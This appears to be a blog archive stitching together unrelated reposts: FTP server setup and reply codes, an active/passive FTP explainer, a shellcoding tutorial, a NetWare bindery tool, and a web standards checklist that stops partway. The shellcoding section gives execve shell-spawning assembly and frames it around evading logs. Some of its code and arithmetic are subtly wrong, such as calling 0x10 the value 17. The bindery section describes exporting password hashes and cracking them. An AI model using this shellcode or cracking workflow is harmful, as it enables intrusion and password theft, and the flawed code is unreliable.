From here, you will have to set the directory you want the people to have access to. After choosing the directory, I suggest you choose the options 'Read', 'List', and 'Subdirs', unless of course you know what you're doing . After doing so, make an 'upload' folder in the directory, and choose to 'add' this folder seperately to the center column. Choose 'write', 'append', 'make', 'list', and 'subdirs'. This will allow them to upload only to specific folders (your upload folder).

Now click on 'Miscellaneous' from the left column. Choose 'enable account', your time-out (how long it takes for people to remain idle before you automatically kick them off), the maximum number of users for this name, the maximum number of connections allowed simultaneously for one ip address, show relative path (a must!), and any other things at the bottom you'd like to have. Now click 'Ok'.
**Requested**

From this main menu, click the little boxing glove icon in the top corner, and right click and unchoose the hit-o-meter for both uploads and downloads (with this you can monitor IP activity). Now click the lightning bolt, and your server is now up and running.

Post your ftp info, like this:

213.10.93.141 (or something else, such as: 'f*p://example.getmyip.com')

User: *** (The username of the client)

Pass: *** (The password)

Port: *** (The port number you chose)

So make a FTP and join the FTP section

Listing The Contents Of A Ftp:

Listing the content of a FTP is very simple.
You will need FTP Content Maker, which can be downloaded from here:
ht*p://www.etplanet.com/download/application/FTP%20Content%20Maker%201.02.zip

1. Put in the IP of the server. Do not put "ftp://" or a "/" because it will not work if you do so.
2. Put in the port. If the port is the default number, 21, you do not have to enter it.
3. Put in the username and password in the appropriate fields. If the login is anonymous, you do not have to enter it.
4. If you want to list a specific directory of the FTP, place it in the directory field. Otherwise, do not enter anything in the directory field.
5. Click "Take the List!"
6. After the list has been taken, click the UBB output tab, and copy and paste to wherever you want it.

If FTP Content Maker is not working, it is probably because the server does not utilize Serv-U Software.

If you get this error message:
StatusCode = 550
LastResponse was : 'Unable to open local file test-ftp'
Error = 550 (Unable to open local file test-ftp)
Error = Unable to open local file test-ftp = 550
Close and restart FTP Content Maker, then try again.

error messages:

110 Restart marker reply. In this case, the text is exact and not left to the particular implementation; it must read: MARK yyyy = mmmm Where yyyy is User-process data stream marker, and mmmm server's equivalent marker (note the spaces between markers and "=").
120 Service ready in nnn minutes.
125 Data connection already open; transfer starting.
150 File status okay; about to open data connection.
200 Command okay.
202 Command not implemented, superfluous at this site.
211 System status, or system help reply.
212 Directory status.
213 File status.
214 Help message. On how to use the server or the meaning of a particular non-standard command. This reply is useful only to the human user.
215 NAME system type. Where NAME is an official system name from the list in the Assigned Numbers document.
220 Service ready for new user.
221 Service closing control connection. Logged out if appropriate.
225 Data connection open; no transfer in progress.
226 Closing data connection. Requested file action successful (for example, file transfer or file abort).
227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).
230 User logged in, proceed.
250 Requested file action okay, completed.
257 "PATHNAME" created.
331 User name okay, need password.
332 Need account for login.
350 Requested file action pending further information.
421 Too many users logged to the same account
425 Can't open data connection.
426 Connection closed; transfer aborted.
450 Requested file action not taken. File unavailable (e.g., file busy).
451 Requested action aborted: local error in processing.
452 Requested action not taken. Insufficient storage space in system.
500 Syntax error, command unrecognized. This may include errors such as command line too long.
501 Syntax error in parameters or arguments.
502 Command not implemented.
503 Bad sequence of commands.
504 Command not implemented for that parameter.
530 Not logged in.
532 Need account for storing files.
550 Requested action not taken. File unavailable (e.g., file not found, no access).
551 Requested action aborted: page type unknown.
552 Requested file action aborted. Exceeded storage allocation (for current directory or dataset).
553 Requested action not taken. File name not allowed.

Active FTP vs. Passive FTP, a Definitive Explanation

Introduction
One of the most commonly seen questions when dealing with firewalls and other Internet connectivity issues is the difference between active and passive FTP and how best to support either or both of them. Hopefully the following text will help to clear up some of the confusion over how to support FTP in a firewalled environment.

This may not be the definitive explanation, as the title claims, however, I've heard enough good feedback and seen this document linked in enough places to know that quite a few people have found it to be useful. I am always looking for ways to improve things though, and if you find something that is not quite clear or needs more explanation, please let me know! Recent additions to this document include the examples of both active and passive command line FTP sessions. These session examples should help make things a bit clearer. They also provide a nice picture into what goes on behind the scenes during an FTP session. Now, on to the information...

The Basics
FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a 'data' port and a 'command' port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.

Active FTP
In active mode FTP the client connects from a random unprivileged port (N > 1024) to the FTP server's command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client's specified data port from its local data port, which is port 20.

From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened:

FTP server's port 21 from anywhere (Client initiates connection)
FTP server's port 21 to ports > 1024 (Server responds to client's control port)
FTP server's port 20 to ports > 1024 (Server initiates data connection to client's data port)
FTP server's port 20 from ports > 1024 (Client sends ACKs to server's data port)

In step 1, the client's command port contacts the server's command port and sends the command PORT 1027. The server then sends an ACK back to the client's command port in step 2. In step 3 the server initiates a connection on its local data port to the data port the client specified earlier. Finally, the client sends an ACK back as shown in step 4.

The main problem with active mode FTP actually falls on the client side. The FTP client doesn't make the actual connection to the data port of the server--it simply tells the server what port it is listening on and the server connects back to the specified port on the client. From the client side firewall this appears to be an outside system initiating a connection to an internal client--something that is usually blocked.

Active FTP Example
Below is an actual example of an active FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.

There are a few interesting things to consider about this dialog. Notice that when the PORT command is issued, it specifies a port on the client (192.168.150.80) system, rather than the server. We will see the opposite behavior when we use passive FTP. While we are on the subject, a quick note about the format of the PORT command. As you can see in the example below it is formatted as a series of six numbers separated by commas. The first four octets are the IP address while the second two octets comprise the port that will be used for the data connection. To find the actual port multiply the fifth octet by 256 and then add the sixth octet to the total. Thus in the example below the port number is ( (14*256) + 178), or 3762. A quick check with netstat should confirm this information.

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,150,80,14,178
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

Passive FTP
In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode.

In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1024 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P > 1024) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data.

From the server-side firewall's standpoint, to support passive mode FTP the following communication channels need to be opened:

FTP server's port 21 from anywhere (Client initiates connection)
FTP server's port 21 to ports > 1024 (Server responds to client's control port)
FTP server's ports > 1024 from anywhere (Client initiates data connection to random port specified by server)
FTP server's ports > 1024 to remote ports > 1024 (Server sends ACKs (and data) to client's data port)

In step 1, the client contacts the server on the command port and issues the PASV command. The server then replies in step 2 with PORT 2024, telling the client which port it is listening to for the data connection. In step 3 the client then initiates the data connection from its data port to the specified server data port. Finally, the server sends back an ACK in step 4 to the client's data port.

While passive mode FTP solves many of the problems from the client side, it opens up a whole range of problems on the server side. The biggest issue is the need to allow any remote connection to high numbered ports on the server. Fortunately, many FTP daemons, including the popular WU-FTPD allow the administrator to specify a range of ports which the FTP server will use. See Appendix 1 for more information.

The second issue involves supporting and troubleshooting clients which do (or do not) support passive mode. As an example, the command line FTP utility provided with Solaris does not support passive mode, necessitating a third-party FTP client, such as ncftp.

With the massive popularity of the World Wide Web, many people prefer to use their web browser as an FTP client. Most browsers only support passive mode when accessing ftp:// URLs. This can either be good or bad depending on what the servers and firewalls are configured to support.

Passive FTP Example
Below is an actual example of a passive FTP session. The only things that have been changed are the server names, IP addresses, and user names. In this example an FTP session is initiated from testbox1.slacksite.com (192.168.150.80), a linux box running the standard FTP command line client, to testbox2.slacksite.com (192.168.150.90), a linux box running ProFTPd 1.2.2RC2. The debugging (-d) flag is used with the FTP client to show what is going on behind the scenes. Everything in red is the debugging output which shows the actual FTP commands being sent to the server and the responses generated from those commands. Normal server output is shown in black, and user input is in bold.

Notice the difference in the PORT command in this example as opposed to the active FTP example. Here, we see a port being opened on the server (192.168.150.90) system, rather than the client. See the discussion about the format of the PORT command above, in the Active FTP Example section.

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

Summary
The following chart should help admins remember how each FTP mode works:

Active FTP :
command : client >1024 -> server 21
data : client >1024 <- server 20

Passive FTP :
command : client >1024 -> server 21
data : client >1024 -> server >1024

A quick summary of the pros and cons of active vs. passive FTP is also in order:

Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side.

Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn't eliminate all risk to the server, it decreases it tremendously.

Advanced Shellcoding Techniques

2013-01-31T00:57:00.001+07:00

***********************************************
* *
* Advanced Shellcoding Techniques - by Darawk *
* *
***********************************************

Introduction

This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. I do not claim to have invented any of these techniques, except for the one that uses the div instruction.

The multiplicity of mul

This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.

mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:

movl $0x0a,%eax
mul $0x0a

This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).

So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:

xorl %ecx,%ecx
mul %ecx

What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.

The div instruction

Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:

xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80

divl %eax # -1 / -1 = 1
int $0x80

Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.

Unlocking the power of leal

The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.

xorl %ecx,%ecx
leal 0x10(%ecx),%eax

This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:

xorl %eax,%eax
movb $0x10,%eax

I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:

xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80

xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80

Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.

Conclusion

I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes. If you know who invented the leal technique, please tell me and I will credit him/her.

Accessing the bindery files directly

2013-01-31T00:55:00.000+07:00

Accessing the bindery files directly
Alastair Grant, Cambridge University

1. Introduction

This document describes a command for accessing the NetWare 3.x bindery
files directly, bypassing the NetWare network API calls.

It can be used for fast bindery access, bulk user management, bypassing
security restrictions, investigating problems etc.

It is quite possible to destroy the bindery completely, or to reveal
information which could be used by hackers to obtain passwords. Users
are assumed to have a basic grasp of good procedures for security and
backup.

2. Command syntax

The basic format of the command is

bindery [options] bindery-spec action action ...

2.1 Specifying a bindery

A bindery specification takes the form

path/.extension

E.g. SYS:SYSTEM/.SYS. The path defaults to the current directory. The
extension defaults to .OLD.

Alternatively an 'active' bindery can be specified:

SERVER server

The bindery will be closed if necessary.

2.2 Actions on the bindery

INFO print info about the bindery
SCHEMA checks the bindery against the schema in BINDERY.SCH
DUMP obj dump all information for the specified object(s)
OBJ list all object records
PROP list all property records
VAL list all value records
VALDATA list all value records, with data
EXPORT export the bindery to a text file; see below
IMPORT import the bindery from a text file
ETC export user password information, suitable for input to the
password-cracking program described below

The following actions apply only if a bindery has been specified by the
SERVER parameter:
CLOSE close the bindery, i.e. make it available for direct access;
users attempting to access the bindery via NetWare API calls
will receive an error
OPEN open the bindery, which causes the server to reload it and
may take some time for large binderies
COPY directory
copy the bindery files into a directory elsewhere

3. Export/import

The bindery can be exported to and imported from a text file. This can
be used for various purposes:

- problem diagnosis and repair

- creation of large binderies given a set of user information

- compaction of binderies

- merging binderies or moving users between binderies while
preserving their passwords

To see the format of the export file, try exporting a small bindery.

4. Password cracking

Passwords are not stored in clear in the bindery. What is stored is a
16-byte value computed via a one-way function from the user's object id
and the password. Given the object id and password it is possible to
generate a candidate password which can be compared against that in the
bindery.

The ETC option of the BINDERY command produces a file containing the
required information, in a format superficially similar to /etc/passwd
on Unix:

userid:pw-hash:object-id:pw-len:name::

e.g.

ttidy:32d8998e098a05830f809b809ea02137:D0000001:8:Terry Tidy

This can then be input into bindery cracking programs. Separating the
functions in this way allows various forms of parallelism:

- the password file can be split into smaller chunks

- the same password file can be worked on by several cracking
programs each with different dictionaries or algorithms

- cracking programs can be run on faster machines

A cracking program BINCRACK is provided which takes such a file as
input. It has command syntax:

bincrack [/verify] [/numsub] pw-file dict-file

/verify lists the passwords that are being tried. /numsub tries
substituting numbers for letters, e.g. "1D10T". This takes a lot longer
as all possible combinations are tried. pw-file is an exported bindery
password file. dict-file is a simple word list.

Versions are available for MS-DOS and for Solaris 1 and Solaris 2 SPARC
systems.

Suitable wordlists can be found at

ftp://ftp.ox.ac.uk/pub/wordlists/

A Web Standards Checklist, How to make a proper website

2013-01-31T00:51:00.001+07:00

A Web Standards Checklist, How to make a proper website

A web standards checklist

The term web standards can mean different things to different people. For some, it is 'table-free sites', for others it is 'using valid code'. However, web standards are much broader than that. A site built to web standards should adhere to standards (HTML, XHTML, XML, CSS, XSLT, DOM, MathML, SVG etc) and pursue best practices (valid code, accessible code, semantically correct code, user-friendly URLs etc).

In other words, a site built to web standards should ideally be lean, clean, CSS-based, accessible, usable and search engine friendly.

About the checklist

This is not an uber-checklist. There are probably many items that could be added. More importantly, it should not be seen as a list of items that must be addressed on every site that you develop. It is simply a guide that can be used:

* to show the breadth of web standards
* as a handy tool for developers during the production phase of websites
* as an aid for developers who are interested in moving towards web standards

The checklist

1.Quality of code
1. Does the site use a correct Doctype?
2. Does the site use a Character set?
3. Does the site use Valid (X)HTML?
4. Does the site use Valid CSS?
5. Does the site use any CSS hacks?
6. Does the site use unnecessary classes or ids?
7. Is the code well structured?
8. Does the site have any broken links?
9. How does the site perform in terms of speed/page size?
10. Does the site have JavaScript errors?

2. Degree of separation between content and presentation
1. Does the site use CSS for all presentation aspects (fonts, colour, padding, borders etc)?
2. Are all decorative images in the CSS, or do they appear in the (X)HTML?

3. Accessibility for users
1. Are "alt" attributes used for all descriptive images?
2. Does the site use relative units rather than absolute units for text size?
3. Do any aspects of the layout break if font size is increased?
4. Does the site use visible skip menus?
5. Does the site use accessible forms?
6. Does the site use accessible tables?
7. Is there sufficient colour brightness/contrasts?
8. Is colour alone used for critical information?
9. Is there delayed responsiveness for dropdown menus (for users with reduced motor skills)?
10. Are all links descriptive (for blind users)?

4. Accessibility for devices
1. Does the site work acceptably across modern and older browsers?
2. Is the content accessible with CSS switched off or not supported?
3. Is the content accessible with images switched off or not supported?
4. Does the site work in text browsers such as Lynx?
5. Does the site work well when printed?
6. Does the site work well in Hand Held devices?
7. Does the site include detailed metadata?
8. Does the site work well in a range of browser window sizes?

5. Basic Usability
1. Is there a clear visual hierarchy?
2. Are heading levels easy to distinguish?
3. Does the site have easy to understand navigation?
4. Does the site use consistent navigation?
5. Are links underlined?
6. Does the site use consistent and appropriate language?
7. Do you have a sitemap page and contact page? Are they easy to find?
8. For large sites, is there a search tool?
9. Is there a link to the home page on every page in the site?
10. Are visited links clearly defined with a unique colour?

6. Site management
1. Does the site have a meaningful and helpful 404 error page that works from any depth in the site?
2. Does the site use friendly URLs?
3. Do your URLs work without "www"?
4. Does the site have a favicon?

1. Quality of code

1.1 Does the site use a correct Doctype?
A doctype (short for 'document type declaration') informs the validator which version of (X)HTML you're using, and must appear at the very top of every web page. Doctypes are a key component of compliant web pages: your markup and CSS won't validate without them.
CODE
http://www.alistapart.com/articles/doctype/

More:
CODE
http://www.w3.org/QA/2002/04/valid-dtd-list.html

CODE
http://css.maxdesign.com.au/listamatic/about-boxmodel.htm

CODE
http://gutfeldt.ch/matthias/articles/doctypeswitch.html

1.2 Does the site use a Character set?
If a user agent (eg. a browser) is unable to detect the character encoding used in a Web document, the user may be presented with unreadable text. This information is particularly important for those maintaining and extending a multilingual site, but declaring the character encoding of the document is important for anyone producing XHTML/HTML or CSS.
CODE
http://www.w3.org/International/tutorials/tutorial-char-enc/

More:
CODE
http://www.w3.org/International/O-charset.html

1.3 Does the site use Valid (X)HTML?
Valid code will render faster than code with errors. Valid code will render better than invalid code. Browsers are becoming more standards compliant, and it is becoming increasingly necessary to write valid and standards compliant HTML.
CODE
http://www.maxdesign.com.au/presentation/sit2003/06.htm

More:
CODE
http://validator.w3.org/

1.4 Does the site use Valid CSS?
You need to make sure that there aren't any errors in either your HTML or your CSS, since mistakes in either place can result in botched document appearance.
CODE
http://www.meyerweb.com/eric/articles/webrev/199904.html

More:
CODE
http://jigsaw.w3.org/css-validator/

1.5 Does the site use any CSS hacks?
Basically, hacks come down to personal choice, the amount of knowledge you have of workarounds, the specific design you are trying to achieve.
CODE
http://www.mail-archive.com/wsg@webstandardsgroup.org/msg05823.html

More:
CODE
http://css-discuss.incutio.com/?page=CssHack

CODE
http://css-discuss.incutio.com/?page=ToHackOrNotToHack

CODE
http://centricle.com/ref/css/filters/

1.6 Does the site use unnecessary classes or ids?
I've noticed that developers learning new skills often end up with good CSS but poor XHTML. Specifically, the HTML code tends to be full of unnecessary divs and ids. This results in fairly meaningless HTML and bloated style sheets.
CODE
http://www.clagnut.com/blog/228/

1.7 Is the code well structured?
Semantically correct markup uses html elements for their given purpose. Well structured HTML has semantic meaning for a wide range of user agents (browsers without style sheets, text browsers, PDAs, search engines etc.)
CODE
http://www.maxdesign.com.au/presentation/benefits/index04.htm

More:
CODE
http://www.w3.org/2003/12/semantic-extractor.html

1.8 Does the site have any broken links?
Broken links can frustrate users and potentially drive customers away. Broken links can also keep search engines from properly indexing your site.

More:
CODE
http://validator.w3.org/checklink

1.9 How does the site perform in terms of speed/page size?
Don't make me wait... That's the message users give us in survey after survey. Even broadband users can suffer the slow-loading blues.
CODE
http://www.websiteoptimization.com/speed/

1.10 Does the site have JavaScript errors?
Internet Explore for Windows allows you to turn on a debugger that will pop up a new window and let you know there are javascript errors on your site. This is available under 'Internet Options' on the Advanced tab. Uncheck 'Disable script debugging'.

2. Degree of separation between content and presentation

2.1 Does the site use CSS for all presentation aspects (fonts, colour, padding, borders etc)?
Use style sheets to control layout and presentation.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-style-sheets

2.2 Are all decorative images in the CSS, or do they appear in the (X)HTML?
The aim for web developers is to remove all presentation from the html code, leaving it clean and semantically correct.
CODE
http://www.maxdesign.com.au/presentation/benefits/index07.htm

3. Accessibility for users

3.1 Are "alt" attributes used for all descriptive images?
Provide a text equivalent for every non-text element
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-text-equivalent

3.2 Does the site use relative units rather than absolute units for text size?
Use relative rather than absolute units in markup language attribute values and style sheet property values'.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-relative-units

More:
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-relative-units

CODE
http://www.clagnut.com/blog/348/

3.3 Do any aspects of the layout break if font size is increased?
Try this simple test. Look at your website in a browser that supports easy incrementation of font size. Now increase your browser's font size. And again. And again... Look at your site. Does the page layout still hold together? It is dangerous for developers to assume that everyone browses using default font sizes.
3.4 Does the site use visible skip menus?

A method shall be provided that permits users to skip repetitive navigation links.
CODE
http://www.section508.gov/index.cfm?FuseAction=Content&ID=12

Group related links, identify the group (for user agents), and, until user agents do so, provide a way to bypass the group.
CODE
http://www.w3.org/TR/WCAG10-TECHS/#tech-group-links

...blind visitors are not the only ones inconvenienced by too many links in a navigation area. Recall that a mobility-impaired person with poor adaptive technology might be stuck tabbing through that morass.
CODE
http://joeclark.org/book/sashay/serialization/Chapter08.html#h4-2020

More:
CODE
http://www.niehs.nih.gov/websmith/508/o.htm

3.5 Does the site use accessible forms?
Forms aren't the easiest of things to use for people with disabilities. Navigating around a page with written content is one thing, hopping between form fields and inputting information is another.
CODE
http://www.htmldog.com/guides/htmladvanced/forms/

More:
CODE
http://www.webstandards.org/learn/tutorials/accessible-forms/01-accessible-forms.html

CODE
http://www.accessify.com/tools-and-wizards/accessible-form-builder.asp

CODE
http://accessify.com/tutorials/better-accessible-forms.asp

3.6 Does the site use accessible tables?
For data tables, identify row and column headers... For data tables that have two or more logical levels of row or column headers, use markup to associate data cells and header cells.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-table-headers

More:
CODE
http://www.bcc.ctc.edu/webpublishing/ada/resources/tables.asp

CODE
http://www.accessify.com/tools-and-wizards/accessible-table-builder_step1.asp

CODE
http://www.webaim.org/techniques/tables/

3.7 Is there sufficient colour brightness/contrasts?
Ensure that foreground and background colour combinations provide sufficient contrast when viewed by someone having colour deficits.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-colour-contrast

More:
CODE
http://www.juicystudio.com/services/colourcontrast.asp

3.8 Is colour alone used for critical information?
Ensure that all information conveyed with colour is also available without colour, for example from context or markup.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-colour-convey

There are basically three types of colour deficiency; Deuteranope (a form of red/green colour deficit), Protanope (another form of red/green colour deficit) and Tritanope (a blue/yellow deficit- very rare).

More:
CODE
http://colourfilter.wickline.org/

CODE
http://www.toledo-bend.com/colourblind/Ishihara.html

CODE
http://www.vischeck.com/vischeck/vischeckURL.php

3.9 Is there delayed responsiveness for dropdown menus?
Users with reduced motor skills may find dropdown menus hard to use if responsiveness is set too fast.

3.10 Are all links descriptive?
Link text should be meaningful enough to make sense when read out of context - either on its own or as part of a sequence of links. Link text should also be terse.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-meaningful-links

4. Accessibility for devices.

4.1 Does the site work acceptably across modern and older browsers?

Before starting to build a CSS-based layout, you should decide which browsers to support and to what level you intend to support them.
CODE
http://www.maxdesign.com.au/presentation/process/index_step01.cfm

4.2 Is the content accessible with CSS switched off or not supported?
Some people may visit your site with either a browser that does not support CSS or a browser with CSS switched off. In content is structured well, this will not be an issue.

4.3 Is the content accessible with images switched off or not supported?
Some people browse websites with images switched off - especially people on very slow connections. Content should still be accessible for these people.

4.4 Does the site work in text browsers such as Lynx?
This is like a combination of images and CSS switched off. A text-based browser will rely on well structured content to provide meaning.

More:
CODE
http://www.delorie.com/web/lynxview

4.5 Does the site work well when printed?
You can take any (X)HTML document and simply style it for print, without having to touch the markup.
CODE
http://www.alistapart.com/articles/goingtoprint/

More:
CODE
http://www.d.umn.edu/itss/support/Training/Online/webdesign/css.html#print

4.6 Does the site work well in Hand Held devices?
This is a hard one to deal with until hand held devices consistently support their correct media type. However, some layouts work better in current hand-held devices. The importance of supporting hand held devices will depend on target audiences.

4.7 Does the site include detailed metadata?
Metadata is machine understandable information for the web
CODE
http://www.w3.org/Metadata/

Metadata is structured information that is created specifically to describe another resource. In other words, metadata is 'data about data'.

4.8 Does the site work well in a range of browser window sizes?
It is a common assumption amongst developers that average screen sizes are increasing. Some developers assume that the average screen size is now 1024px wide. But what about users with smaller screens and users with hand held devices? Are they part of your target audience and are they being disadvantaged?

5. Basic Usability
5.1 Is there a clear visual hierarchy?
Organise and prioritise the contents of a page by using size, prominence and content relationships.
CODE
http://www.great-web-design-tips.com/web-site-design/165.html

5.2 Are heading levels easy to distinguish?
Use header elements to convey document structure and use them according to specification.
CODE
http://www.w3.org/TR/WCAG10/wai-pageauth.html#tech-logical-headings

5.3 Is the site's navigation easy to understand?
Your navigation system should give your visitor a clue as to what page of the site they are currently on and where they can go next.
CODE
http://www.1stsitefree.com/design_nav.htm

5.4 Is the site's navigation consistent?
If each page on your site has a consistent style of presentation, visitors will find it easier to navigate between pages and find information
CODE
http://www.juicystudio.com/tutorial/accessibility/navigation.asp

5.5 Does the site use consistent and appropriate language?
The use of clear and simple language promotes effective communication. Trying to come across as articulate can be as difficult to read as poorly written grammar, especially if the language used isn't the visitor's primary language.
CODE
http://www.juicystudio.com/tutorial/accessibility/clear.asp

5.6 Does the site have a sitemap page and contact page? Are they easy to find?
Most site maps fail to convey multiple levels of the site's information architecture. In usability tests, users often overlook site maps or can't find them. Complexity is also a problem: a map should be a map, not a navigational challenge of its own.
CODE
http://www.useit.com/alertbox/20020106.html

5.7 For large sites, is there a search tool?
While search tools are not needed on smaller sites, and some people will not ever use them, site-specific search tools allow users a choice of navigation options.

5.8 Is there a link to the home page on every page in the site?
Some users like to go back to a site's home page after navigating to content within a site. The home page becomes a base camp for these users, allowing them to regroup before exploring new content.

5.9 Are links underlined?
To maximise the perceived affordance of clickability, colour and underline the link text. Users shouldn't have to guess or scrub the page to find out where they can click.
CODE
http://www.useit.com/alertbox/20040510.html

5.10 Are visited links clearly defined?
Most important, knowing which pages they've already visited frees users from unintentionally revisiting the same pages over and over again.
CODE
http://www.useit.com/alertbox/20040503.html

6. Site management

